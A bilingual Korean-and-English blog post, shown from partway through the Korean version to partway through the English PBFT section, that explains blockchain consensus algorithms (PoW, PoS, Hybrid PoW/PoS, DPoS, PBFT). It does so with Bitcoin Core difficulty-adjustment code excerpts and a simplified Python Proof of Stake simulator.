[1] 먼저, 최근 블록의 타임스탬프(pindexLast->GetBlockTime())와 이전 2016개 블록의 타임스탬프(nFirstBlockTime)을 비교하여, 이전 2016개 블록이 생성되는데 걸린 실제 시간을 nActualTimespan 에 저장합니다.이 값은 이후 난이도 조정을 위한 기준이 돼요.

int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;

[2] 비트코인은 nActualTimespan을 측정해 목표 시간(params.nPowTargetTimespan)과 비교한 후 난이도를 조정하는데, 난이도가 급격하게 변하는 것을 방지하기 위해 목표 시간의 1/4배까지 난이도를 증가시키거나, 4배까지 난이도를 감소시킬 수 있도록 제한해요.

if (nActualTimespan < params.nPowTargetTimespan/4)    nActualTimespan = params.nPowTargetTimespan/4;if (nActualTimespan > params.nPowTargetTimespan*4)    nActualTimespan = params.nPowTargetTimespan*4;

먼저, 난이도 조정 시 기준이 되는 블록을 결정하는 과정은 params.enforce_BIP94 값에 따라 달라집니다.
이 규칙이 적용되는 경우,현재 블록에서 2016개 이전 블록(pindexFirst)의 난이도(pindexFirst->nBits)를 기준으로 사용합니다. 이를 통해 난이도를 최소값으로 낮추는 예외적인 상황을 방지할 수 있습니다. 그렇지 않으면 현재 블록의 난이도(pindexLast->nBits)를 기준으로 설정합니다
이러한 방식은 Testnet과 같은 환경에서 난이도가 비정상적으로 낮아지는 현상을 방지하는 역할을 합니다.

if (params.enforce_BIP94) {    // Here we use the first block of the difficulty period. This way    // the real difficulty is always preserved in the first block as    // it is not allowed to use the min-difficulty exception.    int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);    const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);    bnNew.SetCompact(pindexFirst->nBits);} else {    bnNew.SetCompact(pindexLast->nBits);}

BIP(Bitcoin Improvement Proposal): 비트코인 프로토콜 개선안. BIP94는 비트코인 프로토콜의 개선안 중 하나로, 난이도 조정 시 특정 네트워크(Testnet4 등)에서 예외적으로 난이도가 급격히 낮아지는 것을 방지하는 규칙입니다.

[4] 그 후, nActualTimespan 값을 이용하여 새로운 난이도를 계산합니다. 비트코인은 목표 블록 생성 시간을 10분으로 설정하고, 2016개의 블록을 생성한다고 가정했을 때 목표 시간(params.nPowTargetTimespan)은 약 2주(1209600초)입니다. 난이도는 실제 블록 생성시간과 목표 시간의 비율을 적용해서 조정해요.

bnNew *= nActualTimespan;bnNew /= params.nPowTargetTimespan;

즉, 새로운 난이도 = (기존 난이도x실제 걸린 시간)/목표 시간 의 공식으로 난이도를 조정함으로써, 블록 생성 속도를 평균 10분으로 유지할 수 있어요

[5] 또한, 난이도가 너무 낮아지는 것을 막기 위해 최소 난이도(bnPowLimit)보다 낮아지지 않도록 제한합니다.

if (bnNew > bnPowLimit)    bnNew = bnPowLimit;

하지만 이전 연구 글에서 언급했듯이, PoW 방식은 막대한 연산량을 요구하여 전력 소비가 매우 큽니다. 또한, 대규모 채굴장(mining pool)의 등장으로 인해 특정 그룹이 네트워크 전체 해시 파워의 51% 이상을 확보하게 되면, 트랜잭션 조작 및 이중 지불(Double Spending) 공격의 위험이 존재합니다.

이러한 PoW의 한계를 극복하기 위해, 지분 증명(Proof of Stake, PoS) 합의 알고리즘이 도입되었습니다.

2. Proof of Stake (PoS)

지분 증명은 블록체인에서 코인의 보유량과 보유 기간에 따라 블록 생성과 검증 권한을 부여하는 합의 알고리즘입니다. PoW에서는 복잡한 수학 문제를 풀어야하지만, PoS에서는 해당 네트워크의 코인을 일정량 예치(Staking)하면 검증자(validator)로 참여할 수 있어요.
이 과정에서 검증자는 보유한 지분의 크기에 따라 블록 생성 가능성이 높아집니다. 또한, 정직한 행동을 하면 보상을 받고, 부정행위를 하면 패널티(예치금 삭감)를 받는 경제적 인센티브를 통해 보안성을 높입니다. PoS 개념은 2012년 Peercoin에서 최초로 구현되었고, 이후 많은 블록체인이 이 방식을 채택했습니다. 2022년에는 이더리움도 PoW에서 PoS로 전환했습니다.

사실 이더리움을 예시로 PoS의 작동 방식을 설명하고 싶었는데, 코드 분석하려면 연구글이 너무 길어질 것 같아요. 그래서 엄청 단순화한 PoS 합의 알고리즘 코드를 통해 원리를 파악해보겠습니다.

import randomimport hashlibimport time// [1]class Validator:    def __init__(self, address, stake):        self.address = address  # Validator address        self.stake = stake         self.vote_weight = stake          def __repr__(self):        return f"Validator({self.address}, Stake: {self.stake})"class PoSBlockchain:    def __init__(self):        self.validators = []         self.blocks = []        def register_validator(self, address, stake):        if stake < 32:            print(f"[ERROR] {address} need to stake over 32 ETH")            return        validator = Validator(address, stake)        self.validators.append(validator)        print(f"[INFO] {validator} registered as a validator.")// [2]    def select_proposer(self):        """ Randomly select a block proposer """        total_stake = sum(v.stake for v in self.validators)        rand_value = random.uniform(0, total_stake)                cumulative = 0        for validator in self.validators:            cumulative += validator.stake            if rand_value <= cumulative:                print(f"[INFO] selected validator: {validator.address}")                return validator// [3]    def create_block(self, proposer):        """ Generate a block and calculate hash """        prev_hash = self.blocks[-1]['hash'] if self.blocks else "GENESIS"        timestamp = time.time()        block_data = f"{proposer.address}-{timestamp}-{prev_hash}"        block_hash = hashlib.sha256(block_data.encode()).hexdigest()        block = {"proposer": proposer.address, "hash": block_hash, "prev_hash": prev_hash}        return block// [4]    def validate_and_vote(self, block):        votes = 0        for validator in self.validators:            if random.random() > 0.1:  # 90% probability of a valid vote                votes += validator.vote_weight                required_votes = sum(v.stake for v in self.validators) * 0.67  # At least 67% approval required        if votes >= required_votes:            self.blocks.append(block)            print(f"[INFO] Validation: {block['hash']}")            return True        else:            print("[WARNING] Not enough votes ")            return False// [5]    def run_consensus(self):        proposer = self.select_proposer()        if proposer:            new_block = self.create_block(proposer)            self.validate_and_vote(new_block)pos_chain = PoSBlockchain()pos_chain.register_validator("Alice", 50)pos_chain.register_validator("Bob", 40)pos_chain.register_validator("Charlie", 32)pos_chain.register_validator("Dave", 100)for _ in range(3):    pos_chain.run_consensus()

[1] 이더리움에서는 32ETH을 예치(Staking)해야 검증자로 참여할 수 있어요.

class Validator:    def __init__(self, address, stake):        self.address = address          self.stake = stake              def __repr__(self):        return f"Validator({self.address}, Stake: {self.stake})"

[2] 더 많은 코인을 스테이킹한 참여자가 다음 블록 검증자로 선택될 가능성이 상대적으로 크지만, 난수 알고리즘 등을 통해 예측 불가능하게 선택함으로써 공격을 어렵게 만듭니다.

def select_proposer(self):    """Select a block proposer randomly, weighted by stake"""    total_stake = sum(v.stake for v in self.validators.values())    rand_value = random.uniform(0, total_stake)    cumulative = 0    for validator in self.validators.values():        cumulative += validator.stake        if rand_value <= cumulative:            print(f"[INFO] Selected proposer: {validator.address}")            return validator    return None

[3] 선정된 검증자는 새로운 거래들을 묶어 블록을 생성하고 블록체인에 제안합니다.

def create_block(self, proposer):    """Generate a new block"""    prev_hash = self.blockchain[-1]['Hash']    new_block = {        "Index": len(self.blockchain),        "Timestamp": str(datetime.now()),        "PrevHash": prev_hash,        "Validator": proposer.address    }    new_block["Hash"] = self.hash_block(new_block)    return new_block

[4] 그 외의 다른 검증자들은 해당 블록의 유효성을 검증하고 투표를 진행함으로써 합의에 참여합니다. 이더리움의 경우, 최소 128명의 검증자가 블록을 검토하고 투표해야해요. 이 투표를 통해 충분한 합의(Consensus)가 이루어지면, 이 블록이 블록체인에 추가되는 방식입니다.

def validate_and_vote(self, block):    """Simulate validator voting process"""    total_stake = sum(v.stake for v in self.validators.values())    votes = sum(v.stake for v in self.validators.values() if random.random() > 0.1)  # # 90% chance to approve    if votes >= total_stake * 0.67:  # Requires at least 67% approval         self.blockchain.append(block)        print(f"[INFO] Block added: {block['Hash']}")        return True    else:        print("[WARNING] Block rejected due to insufficient votes.")        return False

[5] 이렇게 올바르게 블록을 생성한 검증자는 거래 수수료 및 네트워크 보상을 받습니다.

def run_consensus(self):    """Run the PoS consensus process"""    proposer = self.select_proposer()    if proposer:        new_block = self.create_block(proposer)        self.validate_and_vote(new_block)        proposer.stake += 5  # reward        print(f"[INFO] {proposer.address} received 5 ETH as a reward.")

따라서 PoS는 이런 방식으로 네트워크의 보안과 무결성을 유지하면서도, PoW보다 에너지 효율적인 합의 매커니즘을 제공합니다. 하지만 PoS 역시 코인 지분이 많은 사람이 계속해서 유리해지는 구조적 한계를 가지며, 중앙화 위험이 존재한다는 단점이 있습니다.

3. Hybrid PoW/PoS

Complete Overview of Decred’s Structure [출처: https://medium.com/decred/blockchain-governance-how-decred-iterates-upon-bitcoin-3cc7030c655e]

기존 PoW는 높은 보안성을 제공하지만 에너지 소비가 높고 채굴 독점 문제가 있었습니다. 반면 PoS 방식은 에너지 효율적이지만 검증자 독점 위험이 있습니다. 이를 해결하기 위해서 Hybrid PoW/PoS 모델이 등장했으며, 이 방식에서는 PoW를 사용해 블록을 생성하고 PoS 검증자들이 블록을 승인하는 구조를 채택했어요.

먼저, Proof-of-Work 방식으로 채굴자가 연산을 수행해서 새로운 블록을 생성해요. 하지만 생성된 블록이 바로 체인에 추가되는 것이 아닌, PoS 검증자들의 투표를 통해 최종 승인 걸차를 거칩니다. PoS 검증자들은 자신이 보유한 코인을 일정량 예치(staking)하여 검증자로 참여하고, 랜덤하게 선택된 검증자들이 해당 블록의 유효성을 평가하고 투표합니다. 보통 검증자 5명 중 3명 이상이 찬성하면 블록이 승인되며, 최종적으로 블록체인에 추가됩니다.

이 보상은 PoW 채굴자와 PoS 검증자에게 분배됩니다. 예를 들어, Decred(DCR)에서는 PoW 채굴자가 보상의 60%, PoS 검증자가 30%, 나머지 10%는 네트워크 개발 기금으로 할당됩니다. 이를 통해서 PoW 채굴자의 과도한 독점을 방지하고, PoS 검증자들이 네트워크를 유지하는데 적극적으로 참여할 수 있도록 인센티브를 제공합니다.

이러한 구조를 통해서 PoW의 높은 보안성과 PoS의 에너지 효율성을 결합하여 51% 공격 방어력을 높이고 검증자의 중앙화 문제를 완화할 수 있습니다.

4. DPoS (Delegated Proof of Stake)

DPoS(Delegated Proof of Stake)는 기존 PoS 합의 알고리즘을 개선한 형태의 합의 알고리즘으로, 블록체인 네트워크의 거래 검증 및 블록 생성을 보다 효율적으로 수행할 수 있도록 설계된 시스템입니다. DPoS는 사용자들이 블록을 직접 생성하는 대신, 대표자(Delegates)를 선출하여 검증 및 블록 생성 권한을 위임하는 방식으로 작동합니다.

먼저, 모든 토큰 보유자들은 자신의 지분을 기반으로 투표를 진행하고, 이 투표를 통해 대표자를 뽑습니다. 이렇게 선출된 대표자들은 정해진 순서대로 블록을 생성하고 검증하는 역할을 수행하며 네트워크를 운영합니다.

또한, 이런 시스템에서는 대표자의 성실한 운영이 중요합니다. 투표는 지속적으로 진행되며, 만약 대표자가 블록을 생성하지 않거나 부정행위를 저지르면, 토큰 보유자들은 재투표로 대표자를 교체할 수 있습니다. 이처럼 DPoS는 보다 민주적인 방식으로 운영되고, 대표자들이 순차적으로 블록을 생성하기 때문에 블록 확정 시간이 짧아, 네트워크 성능이 뛰어납니다. 또한, 채굴 경쟁이 없기 때문에 에너지 소비가 낮다는 장점이 있습니다. 하지만 대표자가 제한된 수로 운영되기 때문에, PoW나 PoS보다 중앙화될 가능성이 있으며, 일부 대표자들이 담합할 경우 네트워크의 공정성이 훼손될 위험이 있습니다.

대표적인 DPoS 블록체인으로는 EOS와 TRON이 있으며, 이외에도 Steem과 Lisk 같은 프로젝트에서도 DPoS를 활용하고 있습니다. 이 시스템에서는 일정 수의 대표자가 네트워크를 운영하고, 합의 과정을 빠르게 수행합니다.

5. PBFT (Practical Byzantine Fault Tolerance)

블록체인을 공부하신 분들은 비잔틴 장군 문제(Byzantine General Problems)에 대해서도 들어보셨을 것 같은데요.

비잔틴 장군 문제를 해결하기 위해 고안된 비잔틴 장애 문제는 다음과 같습니다.

• 비잔틴 군대의 여러 장군들이 적의 도시를 포위하고 있습니다. 이들은 서로 직접 대화할 수 없고, 메신저를 통해서만 소통해야 합니다. 문제는 몇몇 장군이 반역자일 수도 있다는 것입니다. 충성스러운 장군들은 함께 공격하거나 후퇴해야 하지만, 반역자들은 혼란을 일으켜 일부는 공격하고, 일부는 후퇴하게 만들어 작전을 망치려 합니다.
• 이러한 상황에서 충성스러운 장군들은 두 가지 목표를 달성해야 합니다.
  • 모든 충성스러운 장군들이 같은 결정을 내려야 합니다. 즉, 공격할 거면 모두 공격하고, 후퇴할 거면 모두 후퇴해야 합니다.
  • 소수의 반역자들이 잘못된 정보를 퍼뜨려 엉뚱한 결정을 내리게 해서는 안 됩니다.
• 충성스러운 장군들은 어떤 경우에도 이 두 가지 조건을 지켜야 합니다. 그러나 반역자들은 거짓 정보를 보내거나, 메시지를 조작하는 등 무엇이든 할 수 있습니다.
  따라서, 장군들이 어떤 상황에서도 올바른 합의를 이끌어낼 수 있는 안정적인 소통 방식(알고리즘) 이 필요합니다. 이 문제가 바로 “비잔틴 장군 문제(Byzantine Generals Problem)”입니다.

PBFT(Practical Byzantine Fault Tolerance)는 네트워크에서 일부 노드가 응답하지 않거나 잘못된 정보로 응답하더라도 안전하게 합의를 이루는 알고리즘입니다. 특히, 3f+1 개의 노드가 존재할 때 f개의 악의적인(비잔틴) 노드가 있어도 안전하게 작동할 수 있습니다. 이 합의 알고리즘은 기존의 PoW나 PoS와 달리 연산 경쟁이 필요하지 않고, 투표 기반으로 합의를 수행해 빠른 트랜잭션 Finality를 보장할 수 있습니다.

Figure 1. Byzantine Generals Problem Image [출처: 논문 첨부]

PBFT는 클라이언트(Client)와 복제본(Replicas) 으로 구성되며, 복제본 중 하나가 리더(Primary) 노드 역할을 합니다. 이를 위해 4단계 프로토콜(Request, Pre-prepare, Prepare, Commit)을 사용합니다. (f: 비잔틴 장애 가능 노드 수)

1. Request
   Client가 리더 노드에 요청을 보냅니다.

2. Pre-Prepare
   리더 노드는 모든 보조(백업) 노드에 요청을 브로드캐스트 합니다.이 과정에서 리더 노드가 악의적이라면 잘못된 요청을 전파할 수도 있지만,이후의 과정에서 이를 검증하게 됩니다.

3. Prepare
   각 보조 노드는 리더 노드가 보낸 Pre-Prepare 메시지를 검증한 뒤, 다른 노드들에게 PREPARE 메시지를 보냅니다. 이 때, 노드들은 동일한 요청에 대해 최소 2f+1개의 PREPARE 메시지를 받으면 신뢰할 수 있습니다.

4. Commit
   각 보조 노드는 2f+1개의 PREPARE 메시지를 받으면 요청을 신뢰하고, 다른 노드들에게 COMMIT 메시지를 전송합니다. 노드들은 동일한 요청에 대해 2f+1 개의 COMMIT 메시지를 받으면 요청을 확정합니다.

5. Reply
   Client가 f+1개의 일치하는 응답을 받으면, 해당 요청이 성공적으로 처리되었음을 확인합니다.

PBFT는 빠른 트랜잭션 확정과 높은 보안성을 제공하는 합의 알고리즘이에요. PoW나 PoS와 달리 연산 경쟁이 없고, 1/3 이하의 비잔틴 장애를 허용하면서도 네트워크를 안정적으로 운영할 수 있다는 장점이 있어요. 하지만 네트워크가 커질수록 합의 과정이 느려지기 때문에 확장성이 제한되는 단점도 있습니다.
PBFT는 Hyperledger Fabric, Zilliqa 등에서 사용하고 있으며, 프라이빗 블록체인이나 소규모 노드 네트워크에서 적합한 합의 알고리즘으로 평가받고 있어요.

지금까지 5가지 블록체인 합의 알고리즘을 알아보았어요! 자세하게 설명한 것도 있고, 그렇지 않은 것도 있는데, 아무래도 공부를 하면서 가장 익숙한 건 작업 증명과 지분 증명이었던지라 내용이 조금 많네요. 이외에도 많은 합의 알고리즘이 있는데, 오늘은 잘 알려진 5가지만 다뤄보았습니다.
긴 글 읽어주셔서 감사하고 흥미로운 내용이 있으면 또 정리해보겠습니다! 감사합니다 👋

• Reference
  https://github.com/bitcoin/bitcoin
  https://github.com/ethereum/go-ethereum
  https://blockapps.net/blog/staking-in-crypto-exploring-adoption-trends-and-strategies-for-2024/
  https://coinbureau.com/review/decred-dcr/
  https://pmg.csail.mit.edu/papers/osdi99.pdf

Introduction

Hello! It’s bekim.

In my previous post, I briefly explained that transactions in the Bitcoin network become possible by adding new blocks through a mechanism called “Proof of Work.”. But, PoW isn\’t the only consensus algorithm available. Actually there are actually many different consensus algorithms used in blockchain systems.
A consensus algorithm is basically the mechanism by which participants in a blockchain network agree on choosing a single valid block and maintaining the chain.
In this post, I’ll introduce various consensus algorithms: PoW, PoS, DPoS, PBFT, and Hybrid PoW/PoS.

1. Proof of Work (PoW)

To explain this a bit further, Proof of Work is a method where participants (miners) need to find a hash value that meets a specific difficulty requirement. This mechanism was first introduced by Bitcoin. Miners repeatedly adjust a Nonce value, attempting to find a hash that matches the target difficulty.
Bitcoin aims to generate a new block roughly every 10 minutes. To keep this timing consistent, the network automatically adjusts the mining difficulty approximately every two weeks (every 2016 blocks)
Now, let’s take a closer look at how Proof of Work (PoW) functions in Bitcoin’s latest implementation.

unsigned int GetNextWorkRequired(const CBlockIndex* pindexLast, const CBlockHeader *pblock, const Consensus::Params& params){    assert(pindexLast != nullptr);    unsigned int nProofOfWorkLimit = UintToArith256(params.powLimit).GetCompact();// Only change once per difficulty adjustment interval    // [1]     if ((pindexLast->nHeight+1) % params.DifficultyAdjustmentInterval() != 0)    {        if (params.fPowAllowMinDifficultyBlocks)        {            // Special difficulty rule for testnet:            // If the new block's timestamp is more than 2* 10 minutes            // then allow mining of a min-difficulty block.            // [2]            if (pblock->GetBlockTime() > pindexLast->GetBlockTime() + params.nPowTargetSpacing*2)                return nProofOfWorkLimit;            else            {                // Return the last non-special-min-difficulty-rules-block                // [3]                const CBlockIndex* pindex = pindexLast;                while (pindex->pprev && pindex->nHeight % params.DifficultyAdjustmentInterval() != 0 && pindex->nBits == nProofOfWorkLimit)                    pindex = pindex->pprev;                return pindex->nBits;            }        }        // [4]        return pindexLast->nBits;    }    // Go back by what we want to be 14 days worth of blocks    // [5]    int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);    assert(nHeightFirst >= 0);    const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);    assert(pindexFirst);    return CalculateNextWorkRequired(pindexLast, pindexFirst->GetBlockTime(), params);}

const CBlockIndex* pindex = pindexLast;while (pindex->pprev && pindex->nHeight % params.DifficultyAdjustmentInterval() != 0 && pindex->nBits == nProofOfWorkLimit)    pindex = pindex->pprev;return pindex->nBits;

For this purpose, Bitcoin checks the most recently added block (pindexLast) and traces back from there. While traversing backward through previous blocks, Bitcoin skips blocks where the difficulty was temporarily reduced to the minimum (pindex->nBits == nProofOfWorkLimit). Specifically, it continues moving backward through blocks that haven’t yet reached the difficulty adjustment interval (pindex->nHeight % params.DifficultyAdjustmentInterval() != 0) until it finds a block where an actual difficulty adjustment occurred. At that point, it stops searching and uses that block’s difficulty as a reference.

[5] However, if the current block height (pindexLast->nHeight) is a multiple of the difficulty adjustment interval (2016 blocks), Bitcoin recalculates the difficulty level instead of using the previous one.

Bitcoin is designed so that if the previous 2016 blocks were generated faster than expected, the difficulty increases. On the other hand, if those blocks were generated more slowly than expected, the difficulty is lowered.

unsigned int CalculateNextWorkRequired(const CBlockIndex* pindexLast, int64_t nFirstBlockTime, const Consensus::Params& params){    if (params.fPowNoRetargeting)        return pindexLast->nBits;    // Limit adjustment step    // [1]    int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;    // [2]    if (nActualTimespan < params.nPowTargetTimespan/4)        nActualTimespan = params.nPowTargetTimespan/4;    if (nActualTimespan > params.nPowTargetTimespan*4)        nActualTimespan = params.nPowTargetTimespan*4;    // Retarget    const arith_uint256 bnPowLimit = UintToArith256(params.powLimit);    arith_uint256 bnNew;    // Special difficulty rule for Testnet4    // [3]    if (params.enforce_BIP94) {        // Here we use the first block of the difficulty period. This way        // the real difficulty is always preserved in the first block as        // it is not allowed to use the min-difficulty exception.        int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);        const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);        bnNew.SetCompact(pindexFirst->nBits);    } else {        bnNew.SetCompact(pindexLast->nBits);    }// [4]    bnNew *= nActualTimespan;    bnNew /= params.nPowTargetTimespan;// [5]    if (bnNew > bnPowLimit)        bnNew = bnPowLimit;    return bnNew.GetCompact();}

int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;

[2] Bitcoin measures nActualTimespan and compares it to the target time (params.nPowTargetTimespan) to adjust the difficulty. To prevent drastic changes in difficulty, the adjustment is limited—difficulty can only increase up to 1/4 of the target time or decrease up to 4 times the target time.

if (nActualTimespan < params.nPowTargetTimespan/4)    nActualTimespan = params.nPowTargetTimespan/4;if (nActualTimespan > params.nPowTargetTimespan*4)    nActualTimespan = params.nPowTargetTimespan*4;

if (params.enforce_BIP94) {    // Here we use the first block of the difficulty period. This way    // the real difficulty is always preserved in the first block as    // it is not allowed to use the min-difficulty exception.    int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);    const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);    bnNew.SetCompact(pindexFirst->nBits);} else {    bnNew.SetCompact(pindexLast->nBits);}

BIP (Bitcoin Improvement Proposal): A proposal for improving the Bitcoin protocol. BIP94 is one of these proposals and is designed to prevent the difficulty from dropping excessively in certain networks (such as Testnet4) during difficulty adjustments.

[4] After that, Bitcoin calculates the new difficulty using the nActualTimespan value. Bitcoin sets the target block generation time to 10 minutes, and assuming 2016 blocks are created, the target time (params.nPowTargetTimespan) is approximately two weeks (1,209,600 seconds). The difficulty is then adjusted based on the ratio between the actual block generation time and the target time.

bnNew *= nActualTimespan;bnNew /= params.nPowTargetTimespan;

By applying this formula, Bitcoin ensures that the average block generation time stays around 10 minutes.
[5] Plus, to prevent the difficulty from dropping too low, it is restricted from falling below the minimum difficulty (bnPowLimit).

if (bnNew > bnPowLimit)    bnNew = bnPowLimit;

2. Proof of Stake (PoS)

Proof of Stake (PoS) is a consensus algorithm that grants block creation and validation rights based on the amount of cryptocurrency a user holds and how long they’ve held it.
In PoW, miners have to solve complex mathematical problems, but in PoS, users can participate as validators by staking a certain amount of the network’s cryptocurrency. The more coins a validator stakes, the higher their chances of being selected to create a new block. PoS also enhances security through economic incentives. honest validators receive rewards, while those who engage in fraudulent activities face penalties, such as losing a portion of their staked funds.
The PoS concept was first implemented in Peercoin in 2012, and many blockchains have adopted it since then. In 2022, Ethereum also transitioned from PoW to PoS.

I was going to use Ethereum as an example to explain how PoS works, but analyzing its code would make this post way too long. So instead, let’s break it down using a highly simplified version of the PoS consensus algorithm to understand the core principles.

import randomimport hashlibimport time// [1]class Validator:    def __init__(self, address, stake):        self.address = address  # Validator address        self.stake = stake         self.vote_weight = stake          def __repr__(self):        return f"Validator({self.address}, Stake: {self.stake})"class PoSBlockchain:    def __init__(self):        self.validators = []         self.blocks = []        def register_validator(self, address, stake):        if stake < 32:            print(f"[ERROR] {address} need to stake over 32 ETH")            return        validator = Validator(address, stake)        self.validators.append(validator)        print(f"[INFO] {validator} registered as a validator.")// [2]    def select_proposer(self):        """ Randomly select a block proposer """        total_stake = sum(v.stake for v in self.validators)        rand_value = random.uniform(0, total_stake)                cumulative = 0        for validator in self.validators:            cumulative += validator.stake            if rand_value <= cumulative:                print(f"[INFO] selected validator: {validator.address}")                return validator// [3]    def create_block(self, proposer):        """ Generate a block and calculate hash """        prev_hash = self.blocks[-1]['hash'] if self.blocks else "GENESIS"        timestamp = time.time()        block_data = f"{proposer.address}-{timestamp}-{prev_hash}"        block_hash = hashlib.sha256(block_data.encode()).hexdigest()        block = {"proposer": proposer.address, "hash": block_hash, "prev_hash": prev_hash}        return block// [4]    def validate_and_vote(self, block):        votes = 0        for validator in self.validators:            if random.random() > 0.1:  # 90% probability of a valid vote                votes += validator.vote_weight                required_votes = sum(v.stake for v in self.validators) * 0.67  # At least 67% approval required        if votes >= required_votes:            self.blocks.append(block)            print(f"[INFO] Validation: {block['hash']}")            return True        else:            print("[WARNING] Not enough votes ")            return False// [5]    def run_consensus(self):        proposer = self.select_proposer()        if proposer:            new_block = self.create_block(proposer)            self.validate_and_vote(new_block)pos_chain = PoSBlockchain()pos_chain.register_validator("Alice", 50)pos_chain.register_validator("Bob", 40)pos_chain.register_validator("Charlie", 32)pos_chain.register_validator("Dave", 100)for _ in range(3):    pos_chain.run_consensus()

[1] In Ethereum, you need to stake 32 ETH to participate as a validator.

class Validator:    def __init__(self, address, stake):        self.address = address          self.stake = stake              def __repr__(self):        return f"Validator({self.address}, Stake: {self.stake})"

[2] Participants who stake more coins have a higher chance of being selected as the next block validator, but the selection process also involves randomization algorithms to make it unpredictable and harder to manipulate

def select_proposer(self):    """Select a block proposer randomly, weighted by stake"""    total_stake = sum(v.stake for v in self.validators.values())    rand_value = random.uniform(0, total_stake)    cumulative = 0    for validator in self.validators.values():        cumulative += validator.stake        if rand_value <= cumulative:            print(f"[INFO] Selected proposer: {validator.address}")            return validator    return None

[3] The selected validator bundles new transactions, creates a block, and proposes it to the blockchain.

def create_block(self, proposer):    """Generate a new block"""    prev_hash = self.blockchain[-1]['Hash']    new_block = {        "Index": len(self.blockchain),        "Timestamp": str(datetime.now()),        "PrevHash": prev_hash,        "Validator": proposer.address    }    new_block["Hash"] = self.hash_block(new_block)    return new_block

[4] Other validators participate in the consensus process by verifying the block’s validity and voting on it. In Ethereum, at least 128 validators must review and vote on a block. Once enough consensus is reached through this voting process, the block is added to the blockchain.

def validate_and_vote(self, block):    """Simulate validator voting process"""    total_stake = sum(v.stake for v in self.validators.values())    votes = sum(v.stake for v in self.validators.values() if random.random() > 0.1)  # # 90% chance to approve    if votes >= total_stake * 0.67:  # Requires at least 67% approval         self.blockchain.append(block)        print(f"[INFO] Block added: {block['Hash']}")        return True    else:        print("[WARNING] Block rejected due to insufficient votes.")        return False

[5] Validators who successfully create a valid block receive transaction fees and network rewards as compensation.

def run_consensus(self):    """Run the PoS consensus process"""    proposer = self.select_proposer()    if proposer:        new_block = self.create_block(proposer)        self.validate_and_vote(new_block)        proposer.stake += 5  # reward        print(f"[INFO] {proposer.address} received 5 ETH as a reward.")

Because of this system, PoS helps maintain the security and integrity of the network while being more energy-efficient than PoW. However, PoS has its own limitations. Those who hold more coins tend to have a continuous advantage, leading to potential centralization risks in the network.

3. Hybrid PoW/PoS

Complete Overview of Decred’s Structure [Source: https://medium.com/decred/blockchain-governance-how-decred-iterates-upon-bitcoin-3cc7030c655e]

The traditional PoW provides high security but has high energy consumption and the issue of mining monopolization. On the other hand, the PoS method is energy-efficient but comes with the risk of validator monopoly. To solve this, the Hybrid PoW/PoS model emerged. In this method, PoW is used to generate blocks, while PoS validators approve them.
First, a miner performs computations using the Proof-of-Work method to create a new block. However, the created block is not immediately added to the chain but goes through a final approval process via the PoS validators’ vote. PoS validators participate by staking a certain amount of the cryptocurrency they hold, and randomly selected validators evaluate the validity of the block and vote on it. Typically, if at least 3 out of 5 validators approve, the block is validated and added to the blockchain. The rewards are distributed to both PoW miners and PoS validators. For example, in Decred (DCR), 60% of the reward is given to PoW miners, 30% goes to PoS validators, and the remaining 10% is allocated to the network development fund. Through this, excessive monopolization by PoW miners is prevented, and PoS validators are incentivized to actively participate in maintaining the network.
By combining PoW’s high security with PoS’s energy efficiency, this structure strengthens resistance against 51% attacks and mitigates validator centralization issues.

4. DPoS (Delegated Proof of Stake)

Delegated Proof of Stake (DPoS) is an improved version of the traditional PoS consensus algorithm, designed to make transaction verification and block generation in blockchain networks more efficient. Instead of users directly creating blocks, DPoS allows them to elect delegates, who are then entrusted with the responsibility of validating transactions and generating blocks.

First, all token holders vote based on their stake to elect delegates. These elected delegates take turns generating and validating blocks in a fixed order, playing a key role in maintaining the network.

In this system, the integrity of the delegates is crucial. Voting is an ongoing process, and if a delegate fails to create blocks or engages in dishonest behavior, token holders can replace them through re-elections. Because DPoS operates in a more democratic manner and delegates take turns producing blocks, it achieves faster block finalization times, leading to better network performance. Additionally, since there is no mining competition, energy consumption is significantly lower compared to PoW. However, since the number of delegates is limited, DPoS carries a higher risk of centralization compared to PoW or PoS. If a small group of delegates collude, it could undermine the fairness of the network.

Notable DPoS-based blockchains include EOS and TRON, as well as projects like Steem and Lisk, which also utilize DPoS. In these systems, a fixed number of delegates manage the network and execute the consensus process efficiently.

5. PBFT (Practical Byzantine Fault Tolerance)

Those who have studied blockchain may have heard of the Byzantine Generals Problem.
The Byzantine fault tolerance problem was designed to address this issue and is described as follows:

• A group of Byzantine generals has surrounded an enemy city. They cannot communicate directly with each other and must rely on messengers to exchange information. The problem is that some of the generals might be traitors. Loyal generals need to either attack together or retreat together, but the traitors aim to create confusion, causing some to attack while others retreat, ultimately ruining the operation.
• In this situation, loyal generals must achieve two key goals:
  • All loyal generals must reach the same decision—either they all attack or they all retreat.
  • The traitors must not be able to spread false information that leads to an incorrect decision.
• The loyal generals must maintain these two conditions under any circumstances. However, the traitors can do anything—they can send false messages, alter communications, or deceive others in various ways.

Thus, the generals need a reliable communication method (algorithm) that enables them to reach a correct agreement in any situation.
This is the essence of the “Byzantine Generals Problem.”
PBFT (Practical Byzantine Fault Tolerance) is a consensus algorithm designed to ensure secure agreement within a network, even if some nodes fail to respond or provide incorrect information. In particular, when there are 3f + 1 nodes, the system can remain secure and functional even if up to f nodes are malicious (Byzantine). Unlike PoW or PoS, this consensus algorithm does not require computational competition. Instead, it operates based on a voting system, allowing for faster transaction finality.

Figure 1. Byzantine Generals Problem Image [Source: Attached research paper]

PBFT consists of clients and replicas, with one of the replicas acting as the leader (Primary) node. To achieve consensus, it follows a four-step protocol: Request, Pre-prepare, Prepare, and Commit. (f: The number of nodes that can exhibit Byzantine faults)

1. Request
   The client sends a request to the leader node.

2. Pre-Prepare
   The leader node broadcasts the request to all backup nodes. At this stage, if the leader node is malicious, it could propagate an incorrect request. However, the following steps will verify its validity.

3. Prepare
